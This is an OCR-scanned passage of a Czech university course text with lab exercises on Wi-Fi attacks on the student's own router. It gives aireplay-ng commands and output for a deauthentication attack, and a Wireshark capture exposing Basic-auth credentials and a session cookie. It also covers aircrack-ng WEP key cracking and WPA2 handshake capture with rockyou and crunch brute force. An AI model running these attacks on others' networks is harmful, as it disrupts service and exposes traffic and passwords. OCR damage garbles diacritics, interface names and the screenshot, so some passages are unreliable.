tovych/optickych instalaci. Signal Wi-Fi vidy castecné pfesahuje
do sousednich mistnosti & mimo budovu. Utoénik s dostateéné vy-
konnou anténou miZe byt mimo nas§ dosah a viditelnost4®. Proto
byvéa dobrou praxi omezovat vyzafovaci vykon piistupovijch bodii
(AP — Access Point) na nutné minimum — ziskdme tim také pffjemny
bonus v podobé nizsiho vzajemného ruseni a kolizi vlastnich siti.
V pocatcich Wi-Fi se Casto zavddéla ,bezpecnostni opatieni”, kterd
méla omezit, kdo se k siti mtze pfipojit. Mezi né patfilo omezeni
MAC adres klientt, skryvani SSID (Service Set Indetifier — ,ndzev
sité”) & neodpoviddni na aktivni skenovéni klientdi. VSechna tato
opatfeni je mozné snadno obejit pomoci slabin a vlastnosti Wi-Fi
— miizeme odposlechnout jaké MAC adresy s AP jiz komunikuji
a poté si MAC adresu zménit, podobné miZzeme zachytit asociaci
klientti k AP a z téchto paketti ziskat SSID.

Monitor mode

Bézné Wi-Fi adaptéry neumoznuji zachytavat veskerou (cizi) ko-
munikaci na daném kandle, ale vyZaduji asociaci k urc¢itému AP.
Po asociaci pfedavaji ovladace adaptéri vy$sim vrstvdm operac-
niho systému pouze pakety, které jsou danému adaptéru urceny
na zakladé cilové MAC adresy. Abychom mohli zachytadvat veske-
rou komunikaci potfebujeme mit Wi-Fi adaptér podporujici monitor
mode v kombinaci s upravenymi ovladaci, které tuto funkcionalitu
umozni.

4 Nékdy se mylné ¢&i hovorové uvadi, ze
sdilenym mediem je vzduch, radiové viny
se v8ak $ifi i ve vakuu.

45 Délka jedné viny se v rozmezi 4 az
15 cm.

4 Napfiklad neni problém zachytit sig-
nal a pfipojit se na univerzitni Wi-Fi i
desitky metrt od hlavni budovy Pfiro-
dovédecké fakulty.
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Adaptéry s monitor mode nejsou zcela bézné, vyrobci tuto vlast-
nost vétSinou v datovych listech neuvadi. MiiZe se stat, Ze jedna
revize adaptéru monitor mode podporuje a druhd jizZ ne. Nastésti
lze tuto informaci dohledat na neoficidlnich férech ¢i v dokumen-
taci software pro analyzu bezdratové komunikace. Napfiklad mij
adaptér pfi vypisu iw list sice tvrdi, Ze podporuje monitor mode,
nicméné s vychozimi ovladaci neni funkéni. Vyrobci monitor mode
¢asto zamérné blokuji, aby nemuseli rozliSovat verze adaptérii pro
trhy, kde je odposlech nelegalni od téch, kde (¢aste¢né) poslouchat
komunikaci miizeme.

Pro ovéfeni, zda nd$ adaptér podporuje monitor mode, mtiZzeme
pouzit linuxovy ndstroj iw. Ve vypisu vlastnosti naseho adaptéru
nés zajima sekce Supported interface mode, kde by mélo byt uvedeno
monitor. U nékterych adaptérii se miZe stat, Ze sice uvadi podporu
monitor mode, ale ve skute¢nosti do néj adaptér s béZnymi ovladaci
nejde pfepnout, pfipadné nebude zachytavat vSechny ramce. 47

> iw list
Wiphy phyO
wiphy index: O
max # scan SSIDs: 20

Supported interface modes:
* IBSS

managed

AP

AP/VLAN

monitor

P2P-client

P2P-GO

L R

Samotné pfepnuti adaptéru do monitor mode je moZzné pomoci pii-
kazti:

> ifconfig wlplsO down

> iwconfig wlplsO mode monitor

> iwconfig
wlpls0 IEEE 802.11 Mode:Monitor
Retry short limit: 7 RTS thr:off Fragment thr:off
Power Management:on

> ifconfig wlplsO up

U specifickych ovladac¢ii tento postup nemusi fungovat a je zapo-
tfebi pouZit specidlni skripty pro aktivaci monitor mode, které jsou
vétsinou soucasti ovladaca.

Pro tclely cviceni mdme k dispozici adaptér TP-Link Archer T2U

47 Naptiklad mtj adaptér Intel 8265/8275
(rev 21) do monitor mode neSel pie-
pnout, ale s nov&jsimi ovladaci(vychozi
ovladace z jadra 6.6.74) jiz do monitor
mode pfepnout jde a je plné funkéni.



Plus rev. 1.0, ktery s vyuzitim neoficidlnich ovlada¢t monitor mode
podporuje a stéle je dostupny ke koupi. Tento adaptér je mozné
pro Gcely cviceni zapijcit, k dispozici mame 15 kusti. Nainstalovani
ovladac¢h podporujicich monitor mode je otdzkou nékolika minut,
jejich provoz a chovani je misty nedeterministicky. Obcas se nepo-
daff kartu do monitor mode pfepnout, stejnym postupem o pér
chvil pozdéji se to jiz mtzZe podafit.

Ukol 24
Zjistéte, zda vas adaptér podporuje monitor mode a zkuste jej
aktivovat.

Deautentizace klienta

Soucésti protokolt Wi-Fi je moznost aktivné ukoncit komunikaci.
Tuto moznost ma jak klient(oznamujici AP, Ze jizZ nechce komuni-
kovat), tak AP(odpojeni ,neposlusnych klienti”). Bezpe¢nostnim
problém tohoto mechanismu je, Ze chybi jakakoliv kontrola*® toho,
kdo deautentiza¢ni ramce skute¢né odeslal. Uto¢nik s adaptérem
podporujici monitor mode mtize vyslat podvrZzeny deautentiza¢ni
rdmec, ve kterém jednd za klienta a informuje AP, Ze se chce odpo-
jit od sité. AP ihned zareaguje a jiz od klienta nepfijme Zaddna data
a odpovi taktéZz deautentiza¢nim rdmcem. Obéti dtoku na chvili
,vypadne Wi-Fi” a musi se k siti znovu pfipojit. Dojde k ttoku
typu Denial of Service(DoS).

K atoku miizeme vyuzit i specidlnich firmwart pro oblibené mikro-
kontroléry s Wi-Fi. Napfiklad firmware z https://deauther.com/
pro mikrokontrolér ESP8266 umozni provést titok i naprostym lai-
ktim. ESP8266 lze zakoupit doslova za stokorunu. Na zavér je po-
tfeba zdliraznit, Ze tento ttok je v CR a vétsiné zemi svéta nelegéalni.
Pro provedeni potiebujeme adaptér s monitor mode(wlp1s0), MAC
adresu obéti(98:3B:8F:75:B4:80), MAC adresu AP(C4:AD:34:25:
79:B1) a program, ktery dokdZe vytvofit deautentiza¢ni rdmce —
aireplay-ng.

> aireplay-ng -0 42 -a C4:AD:34:25:79:B1 -c 98:3B:8F:75:B4
:80 wlpilsO

09:43:00 Waiting for beacon frame (BSSID: C4:AD:34:25:79:B1
) on channel 1

09:43:01 Sending 64 directed DeAuth (code 7). STMAC: [98:3B
:8F:75:B4:80] [ 0|64 ACKs]

09:43:01 Sending 64 directed DeAuth (code 7). STMAC: [98:3B
:8F:75:B4:80] [ 1/60 ACKs]

Aireplay-ng zacne odesilat podvrZzené deautentiza¢ni ramce, obét’

Wi-Fi 39

#Bez ohledu na typ Sifrovani(WEP,
WPA, WPA2), problém fes$i az WPA3


https://deauther.com/
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bude prakticky ihned odpojena od sité. Za chvili se pokusi pfipojit
zpét, ale dalsimi faleSnymi ramci bude opét odpojena. Celkem se
odesle 42 rdmct (parametr piikazu).

Ukol 25
Proved’te (na své zafizeni) deautentiza¢ni tutok.

Odposlech neSifrované komunikace

Pro odposlech komunikace miiZzeme vyuzit konzolovy program
airodump-ng, ktery umoziuje nastavit kandl, MAC adresu AP a
vystupni soubor, do kterého se bude zachycena komunikace ukla-
dat, to je vhodné pro pozdéjsi analyzu. UZivatelsky privétiveéjsi pro-
stfedi poskytuje program wireshark, ktery ma grafické uzivatelské
rozhrani, umoziiuje volbu rozhrani, které bude zachytdvat komu-
nikaci a hlavné ,rozumi” zachytavanym protokoltim. UZivatel se
pak zachycenymi daty mtze ,proklikat” a snadnéji pak najde to,
co hledal. ¥ Na obrazku 6 je zachycena komunikace se serverem
z predchozi kapitoly, kde miiZzeme vidét naptiklad pfenaSené heslo
v oteviené podobé &i session ID.

ri *wip1s0 v oA X

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

| @IEHRRE Q<> >KIZ E aaaFEH
(A Thep B ) +

No. Time Source Destination Protocol Lengtl Info
484 2.018286232  192.168.88.91 158.194.80. 228 HTTP 691 GET / HTTP/1.1
9 192 171 [TCP Previol

> Frame 484: 691 bytes on wire (5528 bits), 691 bytes captured (5528 bi
> Radiotap Header v0, Length 64

> 802.11 radio information

> TEEE 802.11 QoS Data, Flags: .......TC

©0 00 40 00 2b 40 58 a® 20 08 00 a0 20 08 00 0O 0 +0x
de 48 d9 02 00 60 ©0 00 10 09 6c 09 89 04 06 00 K

90 00 37 04 OF 00 0 0O 83 46 04 00 00 00 00 0O 7 E

b7 48 d9 62 00 00 B0 60 16 00 11 03 d6 00 61 81 -H

88 01 30 00 c4 ad 34 25 79 b1 de 08 6T 06 e7 be 0. 4%y -0 n

c4 ad 34 25 79 ae 60 d7 00 00 aa aa @3 00 00 00 4%y
> Logical-Link Control 08 00 45 00 02 4d d6 8e 40 00 40 06 59 72 cO a8 E--M-- @@Yr
> Internet Protocol Version 4, Src: 192.168.88.91, Dst: 158.194.80.228 58 5b 9e c2 50 e4 b9 f4 00 50 81 fa 61 3e bb 09  X[-P pooa>

> Transmission Control Protocol, Src Port: 47604, Dst Port: 80, Seq: 1, 90 grBo s 010900 95 00 00 910108 0a et bl

 Hypertext Transfer Protocol

56 30 df Be 16 65 47 45 54 20 2f 20 48 54 54 50
2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 31 35 38 2e
3139 34 2¢ 38 30 2e 32 32 38 Od 0a 43 6F 6e be
{7GET / HITR/L.23T\n 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6C 69
Host: 158.194.80.228\r\n 76 65 ©d Ga 43 61 63 68 65 2d 43 6T 6e 74 72 6
Connection: keep-alivexrin 00e0 6c 3a 20 6d 61 78 2d 61 67 65 3d 30 0d Oa FENEE

IRl 4 68 67 72 69 7a 61 74 69 6T 6e 3a 20 42 61 73]

Cache-Control: max-age=0\rin (ST M50 62 20 64 47 56 7a 64 44 70 49 5a 58 de 73 62
P2 Authorization: Basic dGVzdDpIZXNsbw==\r\n 0110 [MEINELNINCE 55 70 67 72 61 64 65 20 49 6e 73

65 63 75 72 65 2d 52 65 71 75 65 73 74 73 3a 20
31 00 Ga 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d
6f 7a 69 60 6c 61 2 35 2e 30 20 28 4c 69 Ge 75
78 3b 20 41 Ge 64 72 6T 69 64 20 31 30 3b 20 4b
29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33
37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6C 69 6b
65 20 47 65 63 6b 67 29 20 43 68 72 6f 6d 65 2T
o 31 33 36 2e 30 2e 30 2e 30 20 4d 6T 62 69 6C 65
Accept-language: s, en;a=o. \rin 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 Od a
v Cookie: PHPSESSID=1vbniogbqms52omj2282p6ekgririn 41 63 63 65 70 74 3a 20 74 65 78 74 2f 68 74 6d Accept: text/htm
Cookie pair: PHPSESSID=lvbniogbqms520mj2262p6ekgr 6c 2c 61 70 70 6c 69 63 61 74 69 6T 6e 2 78 68  1,applic ation/x

v 74 6d 6c 2b 78 6d 6c 2c 61 70 70 6c 60 63 61 74 tmlexml, applical

[Full request URT: http://158.194.80.228/]

Credentials: test:Heslo
Upgrade-Insecure-Requests: 1\r\n

User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (
Accept: text/html, application/xhtml+xnl, application/xnl;q=0.9, image
Accept -Encoding: gzip, deflatevrin

69 6f e 2 78 6d 6C 3> 71 3d 30 2e 39 2c 69 6d  lon/xml; =0.9,im
61 67 65 2f 61 76 69 66 2c 69 6d 61 67 65 2f 77 age/avif ,image/w

Frame (691 bytes) | Basic Credentials (10 bytes)

@ 7 HTTP Authorization header (http.authorization), 39 byte(s) Packets: 1045 - Displayed: 2 (0.2%) - Dropped: 0 (0.0%) Profile: Default

Prolomeni WEP kliée

Prolomeni WEP Kkli¢e je pomérné jednoduché — potfebujeme mit
v cilové siti aktivniho klienta, jehoZ komunikaci budeme zachyta-
vat. Podafi-li se ndm zachytit dostate¢né mnozstvi rdmcd, vétsinou
sta¢f kolem 6otisic>°, je zjisténi WEP klice otdzkou sekund.

9Pro snadnéj$i orientaci ve vel-
kém mnoZstvi zachycenych rdmct
doporucuji  vyuZivat filtrovdni. Na
obrazku 6 bychom vidéli pfes tisicovku
,nezajimavych rdmct”, pomoci filtru
http byly zobrazeny jen ty ,zajimavé”.

Obrazek 6: Zachycena neSifrovanad ko-
munikace pomoci Wireshark.

5 To mtize odpovidat nékolika minutdm
béZného prochédzeni internetu ¢&i sledo-
vani videi.



K zachytavani ramcti mtiZeme opét vyuZit airodump-ng:

> airodump-ng --channel 1 --bssid C4:AD:34:25:79:B1 --write soubor --output-format pcap wlplsO

CH 1 ][ Elapsed: 2 mins ][ 2025-05-07 10:18

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:AD:34:25:79:B1 -23 100 1556 71132 67 1 270 WEP WEP OPN HackMe
BSSID STATION PWR  Rate Lost Frames Notes Probes
C4:AD:34:25:79:B1 F6:9F:83:70:3F:E8 -48 bde- 1le 1321 75395 HackMe

aircrack-ng -b C4:AD:34:25:79:B1 soubor-01.cap

Za dvé minuty se ndm podafilo zachytit pfes 7otisic datovych rdmcti,
které vyuzijeme k ziskani WEP kli¢e pomoci programu Aircrack-ng,
vystup muizete vidét na obrazku 7. Samotné ziskani klice trvalo asi
2 sekundy, klicem je fetézec abcabcabca.

Aircrack-ng 1.7

[00:00:01] Tested 534365 keys (got 139 Ivs)

B depth byte(vote)

0 102/103 FB( 256) @0( o) o1( o) 02( 0) 03( o) o05( 0) 06( o) 08( 0)
1 5/ 6 D4l 768) 2B( 512} 2F( 512) 300 512) 37( 512} 38( 512) 3B{ 512) 4A( 512)
2 3/ 9 B3l 768) 01( 512} 27( 512) 43( 512) 4c( 512} SF( 512) 64( 512) 65( 512)
3 24/ 3 F7( 512) eo( 256) 01( 256) @2( 256) 06( 256) 08( 256) OA( 256) @B( 256)
4 19/ 4 F7( 512) @0 256} 03( 256) 07( 256) @8( 256) OF( 256) 15( 256) 1C( 256)

KEY FOUND! [ AB:CA:BC:AB:CA ]
Decrypted correctly: 100%

Ukol 26
Nastavte sviij router na zabezpeceni pomoci WEP kli¢e a zkuste
jej prolomit.

Prolomeni WPA klice

K prolomeni WPA kli¢e nepotfebujeme ziskat mnoho datovych ram-
cti, ale posta¢i nam zachyceni jediného ¢tyf-fazového handshake, ze
kterého mtizeme WPA kli¢ ziskat hrubou silou. Cekan{ na piipo-
jeni nového klienta by mohlo byt zdlouhavé, proto se mtize vyuZit
deautentiza¢ni dtok, tim odpojit stavajiciho, ktery se bude snazit
opétovné piipojit.

Opét mlizeme vyuzit program airodump, ktery nds o zachytu ¢tyi-
fazového handshake informuje v pravém hornim rohu:

> airodump-ng --channel 1 --bssid C4:AD:34:25:79:B1 --write wpa-soubor --output-format pcap wlpisO
CH 1 1[ Elapsed: 12 s ][ 2025-05-07 12:42 ][ WPA handshake: C4:AD:34:25:79:B1
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

C4:AD:34:25:79:B1 -31 100 128 511 115 1 270 WPA2 CCMP PSK HacklMe

Wi-Fi

Obrazek 7: Prolomeni WEP klice.
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BSSID STATION PWR  Rate Lost Frames Notes Probes

C4:AD:34:25:79:B1 CE:28:B1:F0:55:76 -30 24e- le 1620 506 EAPOL HackMe
C4:AD:34:25:79:B1 18:FD:74:75:DC:C6 -32 0-1 39 5

Po tspésném zachyceni miZzeme zachytdvani rdmct ukoncit, dalsi
faze prolomeni WPA klice mtize probihat mimo dosah dané sité.
Nez se uchylime k ttoku hrubou silou, ktery bude zkousSet vsechny
mozné kombinace a trvat velmi dlouho, vyzkousime, zda se WPA
kli¢ nenachézi v nékterém z oblibenych slovniki. 5*

Prikaz

> aircrack-ng -w rockyou.txt wpa-souborOl.cap

vyzkousi v8echna hesla, kterd jsou ve slovniku a v pfipadé shody
skondi a vypiSe soucasny WPA Kkli¢. V tomto piipadé jsme neméli
stésti, WPA kli¢ nebyl ve slovniku. Musime tedy vyzkousSet vsechny
mozné kombinace, k tomu vyuZijeme program crunch, ktery ge-
neruje kombinace znakd danych délek a posild je na standardni
vystup. Vystup programu crunch pfeddme programu aircrack na
vstup pomoci roury, a ten za¢ne zkouset vSechny mozné kombi-
nace. Ted’ uZ je prolomeni WPA kli¢e ,jen” otdzkou ¢asu a vypo-
¢etniho vykonu.

Ptikaz

> crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 | aircrack
-ng -w - wpa-souborOl.cap --bssid C4:AD:34:25:79:B1

bude zkouset vSechny 8 znakové kombinace pismen a &islic.

Soucasné procesory zvladaji zkouset kolem 3otisic kli¢ti za sekundu.>*

Coz je s delsimi Kkli¢i stdle nedostate¢né. Prolamovéni lze fadové
urychlit zapojenim grafické karty, tu 1épe vyuZije program hashcat.

Ukol 27
Nastavte svijj router na zabezpeceni WPA /WPA2 a zkuste ziskat
Kli¢.

51 Rtiznych slovnikil s oblibenymi a ¢as-
tymi hesly lze na internetu dohledat
velké mnoZstvi, my zvolime slovnik
rockyou, ktery obsahuje pfes 14 milionti
hesel.

52 Naptiklad Threadripper 1950X 16-
Core zvlada zkouset ~ 27000 kli¢ti/s.
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